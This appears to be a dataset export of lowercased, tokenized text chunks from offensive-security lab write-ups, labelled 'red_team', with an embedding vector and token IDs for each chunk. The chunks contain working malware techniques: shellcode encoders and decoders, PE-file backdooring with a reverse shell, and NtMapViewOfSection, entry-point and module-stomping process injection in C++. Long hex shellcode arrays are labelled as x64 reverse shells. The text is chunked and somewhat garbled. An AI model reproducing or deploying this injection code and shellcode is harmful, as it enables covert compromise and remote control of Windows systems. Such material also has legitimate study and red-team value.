text stringlengths 5 3.08k | embedding list | tokens list | database stringclasses 5
values | file stringlengths 5 9 | chunk int64 0 192 |
|---|---|---|---|---|---|
, [ eax + 14h ] mov [ ebp - 4h ], ecx ; store number of exported functions ; get address of exported functions table mov ecx, [ eax + 1ch ] ; get rva of exported functions table add ecx, ebx ; get address of exported functions table mov [ ebp - 8h ], ecx ; store address of exported functions table ; get address of name... | [
0.5693451166152954,
-0.6021333932876587,
0.30833715200424194,
0.2688148319721222,
-0.31171587109565735,
-0.47507262229919434,
-0.7678838968276978,
-0.36913976073265076,
0.06296974420547485,
0.6991549134254456,
-0.06779536604881287,
0.6469184160232544,
0.22399479150772095,
-0.42588573694229... | [
1010,
1031,
19413,
2595,
1009,
2403,
2232,
1033,
9587,
2615,
1031,
1041,
2497,
2361,
1011,
1018,
2232,
1033,
1010,
14925,
2595,
1025,
3573,
2193,
1997,
15612,
4972,
1025,
2131,
4769,
1997,
15612,
4972,
2795,
9587,
2615,
14925,
2595,
1010,
... | red_team | 90.txt | 11 |
eax, [ edx + eax * 4 ] ; get rva of winexec function add eax, ebx ; get va of winexec jmp invokewinexec invokewinexec : xor edx, edx ; null byte push edx push 636c6163h ; push calc on the stack mov ecx, esp ; ecx = calc push 10 ; ucmdshow = sw _ showdefault push ecx ; lpcmdline = calc call eax ; call winexec ; clear st... | [
-0.36568599939346313,
0.1332228183746338,
0.25184693932533264,
0.1906753033399582,
-0.4549471139907837,
-0.8186323642730713,
-0.1876004934310913,
0.12272343784570694,
-0.17814625799655914,
0.8744560480117798,
0.25370287895202637,
0.07489541918039322,
0.3908463418483734,
-0.7598473429679871... | [
19413,
2595,
1010,
1031,
3968,
2595,
1009,
19413,
2595,
1008,
1018,
1033,
1025,
2131,
27634,
2050,
1997,
4511,
2595,
8586,
3853,
5587,
19413,
2595,
1010,
1041,
2497,
2595,
1025,
2131,
12436,
1997,
4511,
2595,
8586,
1046,
8737,
1999,
6767,
... | red_team | 90.txt | 12 |
[CLS] executing shellcode with inline assembly in c / c + + it's possible to execute shellcode inline in a c / c + + program. the reason why it's good to have this technique in your arsenal is because it does not require you to allocate new rwx memory to copy your shellcode over to by using virtualalloc api which is he... | [
-0.5250508189201355,
0.42963579297065735,
0.15438884496688843,
0.0461452379822731,
0.0532468780875206,
-0.6979632377624512,
-0.04930606856942177,
-0.2110464721918106,
-0.3647840917110443,
0.8678120374679565,
0.039588555693626404,
0.5672754645347595,
-0.09315726161003113,
-0.144558534026145... | [
101,
23448,
5806,
16044,
2007,
23881,
3320,
1999,
1039,
1013,
1039,
1009,
1009,
2009,
1005,
1055,
2825,
2000,
15389,
5806,
16044,
23881,
1999,
1037,
1039,
1013,
1039,
1009,
1009,
2565,
1012,
1996,
3114,
2339,
2009,
1005,
1055,
2204,
2000,
... | red_team | 91.txt | 0 |
[CLS] writing custom shellcode encoders and decodersthe purpose of this lab is to get a bit more comfortable with writing primitive custom shellcode encoders and decoders. shellcode encoding simply means transforming original shellcode bytes into a set of arbitrary bytes by following some rules ( encoding scheme ), tha... | [
-0.0735522210597992,
0.4254765510559082,
0.1476176679134369,
0.022084692493081093,
-0.10659025609493256,
-0.9025387763977051,
-0.6155048608779907,
0.22758030891418457,
-0.2305634766817093,
1.4006524085998535,
0.44481104612350464,
0.4159267246723175,
0.42280393838882446,
-0.7046142220497131... | [
101,
3015,
7661,
5806,
16044,
4372,
16044,
2869,
1998,
21933,
13375,
10760,
3800,
1997,
2023,
6845,
2003,
2000,
2131,
1037,
2978,
2062,
6625,
2007,
3015,
10968,
7661,
5806,
16044,
4372,
16044,
2869,
1998,
21933,
13375,
1012,
5806,
16044,
17... | red_team | 92.txt | 0 |
join ', 0x'write - host " original shellcode : 0x $ printfriendly " # iterate through shellcode bytes and encode them $ encodedshellcode = $ shellcode | % { $ _ = $ _ - bxor 0x55 $ _ = $ _ + 0x1 $ _ = $ _ - bxor 0x11 write - output $ _ } # print encoded shellcode $ printfriendly = ( $ encodedshellcode | foreach - objec... | [
0.35932090878486633,
0.3550594449043274,
0.4526415169239044,
0.2635453939437866,
-0.23543357849121094,
-0.6934253573417664,
-0.2932928502559662,
0.12169194966554642,
0.03104497492313385,
0.5776553153991699,
0.10150978714227676,
-0.003413886297494173,
0.523197591304779,
-0.4170500338077545,... | [
3693,
1005,
1010,
1014,
2595,
1005,
4339,
1011,
3677,
1000,
2434,
5806,
16044,
1024,
1014,
2595,
1002,
6140,
19699,
9013,
18718,
1000,
1001,
2009,
22139,
2083,
5806,
16044,
27507,
1998,
4372,
16044,
2068,
1002,
12359,
4095,
5349,
16044,
102... | red_team | 92.txt | 1 |
bytes in the encodedshellcode have been decoded setup : xor rcx, rcx ; reset rcx to 0, will use this as a loop counter mov rdx, 0x12 ; shellcode size is 18 bytes decoderstub : cmp rcx, rdx ; check if we've iterated and decoded all the encoded bytes je encodedshellcode ; jump to the encodedshellcode, which actually now ... | [
0.3999711871147156,
0.1472616046667099,
0.25412124395370483,
0.7065625786781311,
0.041086792945861816,
-0.6964760422706604,
-0.23719844222068787,
-0.07611489295959473,
-0.34056830406188965,
0.9205641746520996,
0.47576355934143066,
0.3197857737541199,
-0.2520616948604584,
-0.432584404945373... | [
27507,
1999,
1996,
12359,
4095,
5349,
16044,
2031,
2042,
21933,
5732,
16437,
1024,
1060,
2953,
22110,
2595,
1010,
22110,
2595,
1025,
25141,
22110,
2595,
2000,
1014,
1010,
2097,
2224,
2023,
2004,
1037,
7077,
4675,
9587,
2615,
16428,
2595,
10... | red_team | 92.txt | 2 |
instructions in decoder. asm. we can clearly see that the op - codes of our decoder start at 0x3c into the file assembled file : let's switch to the hex editor and we can copy ( right click on the selected bytes ) the decoder bytes ( for this lab, we will go with a hex format ), starting at 0x3c ( blue ) and ending wit... | [
-0.25202620029449463,
-0.12904125452041626,
-0.3711027503013611,
0.2413942813873291,
0.163181334733963,
-0.8348637819290161,
-0.12615512311458588,
0.11156898736953735,
-0.06503605842590332,
0.8839081525802612,
-0.4131012260913849,
1.0481048822402954,
-0.19954819977283478,
-0.51144230365753... | [
8128,
1999,
21933,
4063,
1012,
2004,
2213,
1012,
2057,
2064,
4415,
2156,
2008,
1996,
6728,
1011,
9537,
1997,
2256,
21933,
4063,
2707,
2012,
1014,
2595,
2509,
2278,
2046,
1996,
5371,
9240,
5371,
1024,
2292,
1005,
1055,
6942,
2000,
1996,
20... | red_team | 92.txt | 3 |
c + + [SEP] | [
-0.21351316571235657,
-0.4606579542160034,
-0.19453494250774384,
0.42480897903442383,
0.29620063304901123,
-0.4760620892047882,
-0.20248471200466156,
1.3297096490859985,
0.5704425573348999,
0.8459516167640686,
0.5729284882545471,
0.4382387697696686,
0.4218969941139221,
-0.28386154770851135... | [
1039,
1009,
1009,
102
] | red_team | 92.txt | 4 |
[CLS] backdooring pe files with shellcodethe purpose of this lab is to learn the portable executable ( pe ) backdooring technique by adding a new readable / writable / executable code section with our malicious shellcode to any portable executable file. high level process of this technique : add a new rwx pe section, b... | [
0.3290826678276062,
0.14840292930603027,
0.11665003001689911,
0.45871713757514954,
-0.18997475504875183,
-0.5363318920135498,
-0.16502654552459717,
0.457044780254364,
-0.3573598861694336,
0.7288122177124023,
-0.08169007301330566,
0.17214909195899963,
0.5868048071861267,
-0.5665625929832458... | [
101,
2067,
23835,
2075,
21877,
6764,
2007,
5806,
16044,
10760,
3800,
1997,
2023,
6845,
2003,
2000,
4553,
1996,
12109,
4654,
8586,
23056,
1006,
21877,
1007,
2067,
23835,
2075,
6028,
2011,
5815,
1037,
2047,
3191,
3085,
1013,
25697,
3085,
1013... | red_team | 93.txt | 0 |
##00 while the bginfo. exe is running : when debugging the binary, if we set the eip to point to 4d8000 and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bgin... | [
0.6166354417800903,
-0.10969353467226028,
-0.5221394300460815,
0.3317490816116333,
-0.03895772248506546,
-0.6997255682945251,
0.08192804455757141,
0.04715606942772865,
0.1141284927725792,
0.4933624565601349,
-0.16100655496120453,
0.22895053029060364,
0.646051824092865,
-0.6653124094009399,... | [
8889,
2096,
1996,
1038,
11528,
14876,
1012,
4654,
2063,
2003,
2770,
1024,
2043,
2139,
8569,
12588,
1996,
12441,
1010,
2065,
2057,
2275,
1996,
1041,
11514,
2000,
2391,
2000,
1018,
2094,
17914,
8889,
1998,
2292,
1996,
2139,
8569,
13327,
2448,... | red_team | 93.txt | 1 |
remove the last instruction of the shellcode call ebp to prevent the shellcode from shutting down of bginfo. exe6. note the esp value and the end of shellcode execution - this is related to point 4 and 7 7. restore the stack pointer esp to what it was after the shellcode executed pushad and pushfd as explained in step ... | [
0.46473732590675354,
-0.005727495066821575,
0.19141288101673126,
0.1662946343421936,
0.05674903839826584,
-1.2832601070404053,
-0.1078716292977333,
-0.08040664345026016,
0.08833493292331696,
0.245903879404068,
-0.36186325550079346,
0.3369411826133728,
0.7062203884124756,
-0.742374718189239... | [
6366,
1996,
2197,
7899,
1997,
1996,
5806,
16044,
2655,
1041,
2497,
2361,
2000,
4652,
1996,
5806,
16044,
2013,
17521,
2091,
1997,
1038,
11528,
14876,
1012,
4654,
2063,
2575,
1012,
3602,
1996,
9686,
2361,
3643,
1998,
1996,
2203,
1997,
5806,
... | red_team | 93.txt | 2 |
##irection works and we jump to 4d8000 ( shellcode ) location once we hit the instruction at 00467b29 : if we try running the patched binary now, we can see it results in a reverse shell, however the bginfo. exe itself is not visible - we will need to fix that : patching shellcodepatching waitforsingleobjectthe reason ... | [
0.2312213033437729,
-0.28902187943458557,
-0.3941895067691803,
0.4852621257305145,
0.18552209436893463,
-0.6846114993095398,
0.06049901247024536,
0.0077399881556630135,
0.06842035800218582,
0.6063276529312134,
-0.21348387002944946,
0.05844300612807274,
0.5279145836830139,
-0.40682998299598... | [
7442,
7542,
2573,
1998,
2057,
5376,
2000,
1018,
2094,
17914,
8889,
1006,
5806,
16044,
1007,
3295,
2320,
2057,
2718,
1996,
7899,
2012,
4002,
21472,
2581,
2497,
24594,
1024,
2065,
2057,
3046,
2770,
1996,
8983,
2098,
12441,
2085,
1010,
2057,
... | red_team | 93.txt | 3 |
##x2040019ff30−0019fd2c = 0x204knowing all of the above, we need to : restore the stack by increasing the esp by 0x204 bytesrestore registers and flags with popfd and popadre - introduce the instruction we previously had overwritten with a jump to our shellcodejump back to the next instruction after the overwritten ins... | [
-0.24502550065517426,
-0.363974004983902,
-0.07538203150033951,
0.33273783326148987,
-0.03993283957242966,
-0.3887299597263336,
-0.48497405648231506,
0.15691053867340088,
-0.3618622422218323,
0.7803310751914978,
0.33545365929603577,
-0.06399451941251755,
0.2437959909439087,
-0.345132201910... | [
2595,
11387,
29537,
16147,
4246,
14142,
22543,
8889,
16147,
2546,
2094,
2475,
2278,
1027,
1014,
2595,
11387,
2549,
2243,
19779,
2075,
2035,
1997,
1996,
2682,
1010,
2057,
2342,
2000,
1024,
9239,
1996,
9991,
2011,
4852,
1996,
9686,
2361,
2011... | red_team | 93.txt | 4 |
[CLS] ntcreatesection + ntmapviewofsection code injectionoverviewthis lab is for a code injection technique that leverages native apis ntcreatesection, ntmapviewofsection and rtlcreateuserthread. section is a memory block that is shared between processes and can be created with ntcreatesection api before a process can ... | [
-0.2875756323337555,
-0.578148365020752,
0.3103667199611664,
0.43823209404945374,
-0.28027820587158203,
-0.49775147438049316,
-0.09496943652629852,
0.005595570895820856,
-0.1645190417766571,
0.5516403317451477,
-0.34239402413368225,
-0.080268993973732,
0.5963858366012573,
0.172540247440338... | [
101,
23961,
16748,
8520,
18491,
1009,
23961,
2863,
2361,
8584,
11253,
29015,
3642,
13341,
7840,
8584,
15222,
2015,
6845,
2003,
2005,
1037,
3642,
13341,
6028,
2008,
21155,
2015,
3128,
17928,
2015,
23961,
16748,
8520,
18491,
1010,
23961,
2863,
... | red_team | 94.txt | 0 |
: we can now copy the shellcode into our localsectionaddress, which will get automatically mirrored / reflected in the remotesectionaddress as it's a view of the same section shared between our local and target processes : memcpy ( localsectionaddress, buf, sizeof ( buf ) ) ; below shows how the localsectionaddress get... | [
0.257402628660202,
0.27060702443122864,
-0.4242170453071594,
0.5401125550270081,
0.2202037274837494,
-0.7911422252655029,
-0.19867543876171112,
-0.4561925232410431,
-0.37710559368133545,
0.6523693203926086,
-0.034492939710617065,
0.32679760456085205,
0.41275882720947266,
-0.448373943567276... | [
1024,
2057,
2064,
2085,
6100,
1996,
5806,
16044,
2046,
2256,
10575,
18491,
4215,
16200,
4757,
1010,
2029,
2097,
2131,
8073,
22243,
1013,
7686,
1999,
1996,
6556,
29015,
4215,
16200,
4757,
2004,
2009,
1005,
1055,
1037,
3193,
1997,
1996,
2168,... | red_team | 94.txt | 1 |
_ t viewsize, dword inheritdisposition, ulong allocationtype, ulong win32protect ) ; using myrtlcreateuserthread = ntstatus ( ntapi * ) ( in handle processhandle, in psecurity _ descriptor securitydescriptor optional, in boolean createsuspended, in ulong stackzerobits, in out pulong stackreserved, in out pulong stackco... | [
-0.14800642430782318,
-0.14309576153755188,
-0.438926100730896,
0.7605052590370178,
-0.48166343569755554,
-0.33037909865379333,
-0.557733952999115,
0.13426795601844788,
0.8841801881790161,
0.48987463116645813,
0.01815507560968399,
-0.4515620470046997,
0.21396327018737793,
-0.18474875390529... | [
1035,
1056,
5328,
4697,
1010,
1040,
18351,
22490,
10521,
26994,
1010,
17359,
5063,
16169,
13874,
1010,
17359,
5063,
2663,
16703,
21572,
26557,
2102,
1007,
1025,
2478,
2026,
5339,
15472,
29313,
20330,
2705,
16416,
2094,
1027,
23961,
9153,
5809... | red_team | 94.txt | 2 |
\ x8b \ x40 \ x20 \ x49 \ x01 \ xd0 \ xe3 \ x56 \ x48 \ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 \ xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c \ x24 \ x08 \ x45 \ x39 \ xd1 \ x75 \ xd8 \ x58 \ x44 \ x8b \ x40 \ x24 \ x49 \ x01 \ ... | [
-0.1403587907552719,
-0.490982323884964,
0.04861442744731903,
0.6594962477684021,
-0.4011847972869873,
-0.46536755561828613,
-0.8113654255867004,
0.0066835880279541016,
0.3503871262073517,
0.15120898187160492,
-0.1220293790102005,
0.6813940405845642,
0.8879132866859436,
0.49975335597991943... | [
1032,
1060,
2620,
2497,
1032,
1060,
12740,
1032,
1060,
11387,
1032,
1060,
26224,
1032,
1060,
24096,
1032,
1060,
2094,
2692,
1032,
1060,
2063,
2509,
1032,
1060,
26976,
1032,
1060,
18139,
1032,
1060,
4246,
1032,
1060,
2278,
2683,
1032,
1060,
... | red_team | 94.txt | 3 |
##41 \ xba \ x4c \ x77 \ x26 \ x07 \ xff \ xd5 \ x4c \ x89 \ xea \ x68 \ x01 \ x01 \ x00 \ x00 \ x59 \ x41 \ xba \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x41 \ x5e \ x50 \ x50 \ x4d \ x31 \ xc9 \ x4d \ x31 \ xc0 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc2 \ x48 \ xff \ xc0 \ x48 \ x89 \ xc1 \ x41 \ xba \ xea \ x0f \ x... | [
-0.0577891543507576,
0.03289664164185524,
-0.2550857365131378,
0.678275465965271,
0.2509089708328247,
0.051971435546875,
-0.7129043340682983,
0.5783193111419678,
0.3195277750492096,
0.04787633195519447,
-0.25563615560531616,
0.766852855682373,
0.6121566891670227,
0.4685765206813812,
-0.7... | [
23632,
1032,
1060,
3676,
1032,
1060,
2549,
2278,
1032,
1060,
2581,
2581,
1032,
1060,
23833,
1032,
1060,
2692,
2581,
1032,
1060,
4246,
1032,
1060,
2094,
2629,
1032,
1060,
2549,
2278,
1032,
1060,
2620,
2683,
1032,
1060,
5243,
1032,
1060,
25... | red_team | 94.txt | 4 |
##ba \ x58 \ xa4 \ x53 \ xe5 \ xff \ xd5 \ x48 \ x89 \ xc3 \ x49 \ x89 \ xc7 \ x4d \ x31 \ xc9 \ x49 \ x89 \ xf0 \ x48 \ x89 \ xda \ x48 \ x89 \ xf9 \ x41 \ xba \ x02 \ xd9 \ xc8 \ x5f \ xff \ xd5 \ x83 \ xf8 \ x00 \ x7d \ x28 \ x58 \ x41 \ x57 \ x59 \ x68 \ x00 \ x40 \ x00 \ x00 \ x41 \ x58 \ x6a \ x00 \ x5a \ x41 \ x... | [
0.4154524505138397,
-0.462751567363739,
-0.0035484712570905685,
1.0693089962005615,
-0.0766279548406601,
0.338374525308609,
-0.36940282583236694,
0.6191457509994507,
0.11893397569656372,
0.9167761206626892,
-0.4021857678890228,
-0.07855577766895294,
0.33627060055732727,
0.5529567003250122,... | [
3676,
1032,
1060,
27814,
1032,
1060,
2050,
2549,
1032,
1060,
22275,
1032,
1060,
2063,
2629,
1032,
1060,
4246,
1032,
1060,
2094,
2629,
1032,
1060,
18139,
1032,
1060,
2620,
2683,
1032,
1060,
2278,
2509,
1032,
1060,
26224,
1032,
1060,
2620,
... | red_team | 94.txt | 5 |
), " rtlcreateuserthread " ) ) ; size _ t size = 4096 ; large _ integer sectionsize = { size } ; handle sectionhandle = null ; pvoid localsectionaddress = null, remotesectionaddress = null ; / / create a memory section fntcreatesection ( & sectionhandle, section _ map _ read | section _ map _ write | section _ map _ ex... | [
0.003936839289963245,
-0.23434363305568695,
0.2253529131412506,
0.32301148772239685,
-0.1289481371641159,
-0.18712978065013885,
-0.1358741819858551,
0.14338326454162598,
-0.5438169240951538,
0.7902726531028748,
0.4131625294685364,
-0.05532607436180115,
0.42804592847824097,
0.25736975669860... | [
1007,
1010,
1000,
19387,
15472,
29313,
20330,
2705,
16416,
2094,
1000,
1007,
1007,
1025,
2946,
1035,
1056,
2946,
1027,
2871,
2683,
2575,
1025,
2312,
1035,
16109,
5433,
4697,
1027,
1063,
2946,
1065,
1025,
5047,
2930,
11774,
2571,
1027,
19701... | red_team | 94.txt | 6 |
[CLS] addressofentrypoint code injection without virtualallocex rwxcode injectionthis is a shellcode injection technique that works as follows : 1. start a target process into which the shellcode will be injected, in suspended state. 2. get addressofentrypoint of the target process3. write shellcode to addressofentrypo... | [
-0.08965696394443512,
0.26864492893218994,
0.2678966224193573,
0.19531358778476715,
-0.4177970886230469,
-0.5462263822555542,
-0.4176376163959503,
-0.05011869594454765,
-0.026168812066316605,
0.8831233978271484,
-0.2966569662094116,
0.14297327399253845,
0.4099401831626892,
-0.3627933263778... | [
101,
4769,
11253,
4765,
2854,
8400,
3642,
13341,
2302,
7484,
8095,
10085,
10288,
1054,
2860,
2595,
16044,
13341,
15222,
2015,
2003,
1037,
5806,
16044,
13341,
6028,
2008,
2573,
2004,
4076,
1024,
1015,
1012,
2707,
1037,
4539,
2832,
2046,
2029... | red_team | 95.txt | 0 |
x8b \ x50 \ x30 " " \ x8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ x4a \ x26 \ x31 \ xff " " \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ xc1 \ xcf \ x0d \ x01 \ xc7 \ xe2 \ xf2 \ x52 " " \ x57 \ x8b \ x52 \ x10 \ x8b \ x4a \ x3c \ x8b \ x4c \ x11 \ x78 \ xe3 \ x48 \ x01 \ xd1 " " \ x51 \ x8b \ x59 ... | [
-0.015041295439004898,
-0.059418935328722,
-0.45060932636260986,
0.7464983463287354,
0.35733264684677124,
0.023825354874134064,
-0.8866927027702332,
0.5115789175033569,
0.33299246430397034,
0.504571795463562,
-0.08839938789606094,
1.0841892957687378,
1.177502155303955,
0.5266780853271484,
... | [
1060,
2620,
2497,
1032,
1060,
12376,
1032,
1060,
14142,
1000,
1000,
1032,
1060,
2620,
2497,
1032,
1060,
25746,
1032,
1060,
2692,
2278,
1032,
1060,
2620,
2497,
1032,
1060,
25746,
1032,
1060,
16932,
1032,
1060,
2620,
2497,
1032,
1060,
2581,
... | red_team | 95.txt | 1 |
" \ x77 \ x26 \ x07 \ x89 \ xe8 \ xff \ xd0 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29 \ xc4 \ x54 " " \ x50 \ x68 \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x68 \ x0a \ x00 \ x00 \ x05 " " \ x68 \ x02 \ x00 \ x01 \ xbb \ x89 \ xe6 \ x50 \ x50 \ x50 \ x50 \ x40 \ x50 \ x40 \ x50 " " \ x68 \ xea \ x0f \ xdf \ xe0 \ xff ... | [
-0.1932576447725296,
-0.13735075294971466,
-0.05513792484998703,
0.35346466302871704,
-0.8202693462371826,
-0.6547555923461914,
-0.10202363133430481,
0.9744909405708313,
0.4306398034095764,
0.5439776182174683,
0.3490888178348541,
0.7131314277648926,
1.1479673385620117,
0.3928420841693878,
... | [
1000,
1032,
1060,
2581,
2581,
1032,
1060,
23833,
1032,
1060,
2692,
2581,
1032,
1060,
2620,
2683,
1032,
1060,
2063,
2620,
1032,
1060,
4246,
1032,
1060,
2094,
2692,
1032,
1060,
2497,
2620,
1032,
1060,
21057,
1032,
1060,
24096,
1032,
1060,
8... | red_team | 95.txt | 2 |
##a \ x00 \ x50 \ x68 \ x0b \ x2f \ x0f \ x30 \ xff \ xd5 " " \ x57 \ x68 \ x75 \ x6e \ x4d \ x61 \ xff \ xd5 \ x5e \ x5e \ xff \ x0c \ x24 \ x0f \ x85 " " \ x70 \ xff \ xff \ xff \ xe9 \ x9b \ xff \ xff \ xff \ x01 \ xc3 \ x29 \ xc6 \ x75 \ xc1 " " \ xc3 \ xbb \ xf0 \ xb5 \ xa2 \ x56 \ x6a \ x00 \ x53 \ xff \ xd5 " ; ... | [
0.22408215701580048,
-0.23744751513004303,
-0.10431519150733948,
0.8040601015090942,
-0.6460705995559692,
0.3969460427761078,
-0.5302916169166565,
0.1304907202720642,
0.33267396688461304,
0.6257675886154175,
0.41498491168022156,
-0.4159998297691345,
0.7497332096099854,
-0.14905790984630585... | [
2050,
1032,
1060,
8889,
1032,
1060,
12376,
1032,
1060,
2575,
2620,
1032,
1060,
2692,
2497,
1032,
1060,
2475,
2546,
1032,
1060,
2692,
2546,
1032,
1060,
14142,
1032,
1060,
4246,
1032,
1060,
2094,
2629,
1000,
1000,
1032,
1060,
28311,
1032,
1... | red_team | 95.txt | 3 |
) ( ( dword _ ptr ) headersbuffer + dosheader - > e _ lfanew ) ; lpvoid codeentry = ( lpvoid ) ( ntheader - > optionalheader. addressofentrypoint + ( dword ) imagebase ) ; / / write shellcode to image entry point and execute it writeprocessmemory ( pi. hprocess, codeentry, shellcode, sizeof ( shellcode ), null ) ; resu... | [
0.05580251291394234,
-0.07401620596647263,
0.504403829574585,
-0.35727354884147644,
-0.03343222662806511,
-0.5584848523139954,
-0.20382799208164215,
0.531980037689209,
-0.1971968114376068,
0.3497260808944702,
0.044640056788921356,
0.18445523083209991,
0.21372683346271515,
0.198606386780738... | [
1007,
1006,
1006,
1040,
18351,
1035,
13866,
2099,
1007,
20346,
19022,
16093,
7512,
1009,
9998,
4974,
2121,
1011,
1028,
1041,
1035,
1048,
15143,
7974,
1007,
1025,
6948,
6767,
3593,
3642,
4765,
2854,
1027,
1006,
6948,
6767,
3593,
1007,
1006,
... | red_team | 95.txt | 4 |
[CLS] module stomping for shellcode injectioncode injectionoverviewmodule stomping ( or module overloading or dll hollowing ) is a shellcode injection ( although can be used for injecting full dlls ) technique that at a high level works as follows : 1. injects some benign windows dll into a remote ( target ) process2. ... | [
0.03613428771495819,
-0.07333531975746155,
0.16944235563278198,
0.2323506474494934,
-0.14463208615779877,
-0.31063833832740784,
-0.43250778317451477,
-0.2916349768638611,
-0.4654427170753479,
0.3321887254714966,
-0.534186601638794,
0.4489353597164154,
0.6317844986915588,
-0.672630369663238... | [
101,
11336,
2358,
25377,
2075,
2005,
5806,
16044,
13341,
16044,
13341,
7840,
8584,
5302,
8566,
2571,
2358,
25377,
2075,
1006,
2030,
11336,
2058,
18570,
2030,
21469,
2140,
8892,
2075,
1007,
2003,
1037,
5806,
16044,
13341,
1006,
2348,
2064,
2... | red_team | 96.txt | 0 |
##dule = null ; / / simple reverse shell x64 unsigned char shellcode [ ] = " \ xfc \ x48 \ x83 \ xe4 \ xf0 \ xe8 \ xc0 \ x00 \ x00 \ x00 \ x41 \ x51 \ x41 \ x50 \ x52 \ x51 \ x56 \ x48 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ x60 \ x48 \ x8b \ x52 \ x18 \ x48 \ x8b \ x52 \ x20 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x... | [
-0.09251240640878677,
0.12287070602178574,
0.11862733215093613,
0.6406245827674866,
-0.30182236433029175,
-0.6194362640380859,
-0.3582008481025696,
0.3191377818584442,
0.830461323261261,
-0.09932546317577362,
0.10374578833580017,
0.6928779482841492,
0.21979112923145294,
0.2791893780231476,... | [
8566,
2571,
1027,
19701,
1025,
1013,
1013,
3722,
7901,
5806,
1060,
21084,
27121,
25869,
5806,
16044,
1031,
1033,
1027,
1000,
1032,
1060,
11329,
1032,
1060,
18139,
1032,
1060,
2620,
2509,
1032,
1060,
2063,
2549,
1032,
1060,
2546,
2692,
1032,... | red_team | 96.txt | 1 |
##44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 \ x66 \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 \ x88 \ x48 \ x01 \ xd0 \ x41 \ x58 \ x41 \ x58 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 \ x41 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ x52 \ xff \ xe0 \ x58 \ x41 \ x59 \ x5a \ x48 \ x8b \ x... | [
0.017896637320518494,
-0.5071098804473877,
-0.26567763090133667,
0.5770071148872375,
0.15086722373962402,
-0.10681699216365814,
-0.7427039742469788,
0.02455449476838112,
0.6780964732170105,
0.37352442741394043,
-0.026516711339354515,
0.5073130130767822,
0.9069420099258423,
0.57766920328140... | [
22932,
1032,
1060,
2620,
2497,
1032,
1060,
12740,
1032,
1060,
18827,
1032,
1060,
26224,
1032,
1060,
24096,
1032,
1060,
2094,
2692,
1032,
1060,
28756,
1032,
1060,
23632,
1032,
1060,
2620,
2497,
1032,
1060,
2692,
2278,
1032,
1060,
18139,
1032... | red_team | 96.txt | 2 |
xdf \ xe0 \ xff \ xd5 \ x48 \ x89 \ xc7 \ x6a \ x10 \ x41 \ x58 \ x4c \ x89 \ xe2 \ x48 \ x89 \ xf9 \ x41 \ xba \ x99 \ xa5 \ x74 \ x61 \ xff \ xd5 \ x48 \ x81 \ xc4 \ x40 \ x02 \ x00 \ x00 \ x49 \ xb8 \ x63 \ x6d \ x64 \ x00 \ x00 \ x00 \ x00 \ x00 \ x41 \ x50 \ x41 \ x50 \ x48 \ x89 \ xe2 \ x57 \ x57 \ x57 \ x4d \ x3... | [
0.09236779063940048,
-0.6400762796401978,
-0.07972127199172974,
0.6808335781097412,
0.017317816615104675,
-0.6217374801635742,
-0.921236515045166,
0.17848753929138184,
0.3322189152240753,
-0.07638688385486603,
-0.03664013743400574,
0.6191181540489197,
0.9799408912658691,
0.5711419582366943... | [
1060,
20952,
1032,
1060,
2063,
2692,
1032,
1060,
4246,
1032,
1060,
2094,
2629,
1032,
1060,
18139,
1032,
1060,
2620,
2683,
1032,
1060,
2278,
2581,
1032,
1060,
2575,
2050,
1032,
1060,
10790,
1032,
1060,
23632,
1032,
1060,
27814,
1032,
1060,
... | red_team | 96.txt | 3 |
\ xe0 \ x75 \ x05 \ xbb \ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x59 \ x41 \ x89 \ xda \ xff \ xd5 " ; / / inject a benign dll into remote process processhandle = openprocess ( process _ all _ access, false, dword ( atoi ( argv [ 1 ] ) ) ) ; / / processhandle = openprocess ( process _ all _ access, false, 8444 ) ; remoteb... | [
-0.1856117695569992,
-0.4591549336910248,
-0.26709118485450745,
0.6896052956581116,
-0.050603169947862625,
0.2011995017528534,
-0.14955173432826996,
-0.010626687668263912,
-0.03442232310771942,
1.2503348588943481,
-0.02665707841515541,
0.4114439785480499,
0.8061937689781189,
-0.20056103169... | [
1032,
1060,
2063,
2692,
1032,
1060,
23352,
1032,
1060,
2692,
2629,
1032,
1060,
10322,
1032,
1060,
22610,
1032,
1060,
17134,
1032,
1060,
2581,
2475,
1032,
1060,
2575,
2546,
1032,
1060,
2575,
2050,
1032,
1060,
8889,
1032,
1060,
28154,
1032,
... | red_team | 96.txt | 4 |
##oc ( getprocessheap ( ), heap _ zero _ memory, headerbuffersize ) ; readprocessmemory ( processhandle, remotemodule, targetprocessheaderbuffer, headerbuffersize, null ) ; pimage _ dos _ header dosheader = ( pimage _ dos _ header ) targetprocessheaderbuffer ; pimage _ nt _ headers ntheader = ( pimage _ nt _ headers ) ... | [
0.017790183424949646,
-0.12039659172296524,
-0.1341496706008911,
1.0946028232574463,
-0.47835808992385864,
-0.17911234498023987,
-0.10109396278858185,
-0.1073685735464096,
0.6502791047096252,
0.666736900806427,
-0.24064874649047852,
-0.2947103679180145,
0.257742315530777,
-0.39125698804855... | [
10085,
1006,
2131,
21572,
9623,
4095,
5243,
2361,
1006,
1007,
1010,
16721,
1035,
5717,
1035,
3638,
1010,
20346,
8569,
12494,
5332,
4371,
1007,
1025,
3191,
21572,
9623,
6491,
6633,
10253,
1006,
2832,
11774,
2571,
1010,
6556,
5302,
8566,
2571... | red_team | 96.txt | 5 |
